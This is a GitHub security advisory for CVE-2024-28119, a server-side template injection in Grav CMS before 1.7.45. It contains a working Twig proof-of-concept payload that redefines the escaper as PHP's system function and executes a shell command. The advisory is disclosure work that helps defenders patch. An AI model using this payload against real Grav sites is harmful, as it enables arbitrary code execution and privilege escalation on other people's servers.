Skip to content

Server Side Template Injection (SSTI) via Twig escape handler

High severity GitHub Reviewed Published Mar 21, 2024 in getgrav/grav • Updated Mar 22, 2024

Package

composer getgrav/grav (Composer)

Affected versions

< 1.7.45

Patched versions

1.7.45

Description

Summary

Due to the unrestricted access to twig extension class from grav context, an attacker can redefine the escape function and execute arbitrary commands.

Details

https://github.com/twigphp/Twig/blob/3.x/src/Extension/EscaperExtension.php#L99

/**
     * Defines a new escaper to be used via the escape filter.
     *
     * @param string   $strategy The strategy name that should be used as a strategy in the escape call
     * @param callable $callable A valid PHP callable
     */
    public function setEscaper($strategy, callable $callable)
    {
        $this->escapers[$strategy] = $callable;
    }

Twig supports the functionality to redefine the escape function through the setEscaper method.
However, that method is not originally exposed to the twig environment, but it is accessible through the payload below.

{{ grav.twig.twig.extensions.core.setEscaper('a','a') }}

At this point, it accepts callable type as an argument, but as there is no validation for the $callable variable, attackers can set dangerous functions like system as the escaper function.

PoC

{{ var_dump(grav.twig.twig.extensions.core.setEscaper('system','twig_array_filter')) }}
{{ var_dump(['id'] | escape('system', 'system')) }}

Impact

Twig processing of static pages can be enabled in the front matter by any administrative user allowed to create or edit pages.
As the Twig processor runs unsandboxed, this behavior can be used to gain arbitrary code execution and elevate privileges on the instance.

References

@rhukster rhukster published to getgrav/grav Mar 21, 2024
Published by the National Vulnerability Database Mar 21, 2024
Published to the GitHub Advisory Database Mar 22, 2024
Reviewed Mar 22, 2024
Last updated Mar 22, 2024

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
High
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

EPSS score

0.045%
(18th percentile)

Weaknesses

CVE ID

CVE-2024-28119

GHSA ID

GHSA-2m7x-c7px-hp58

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.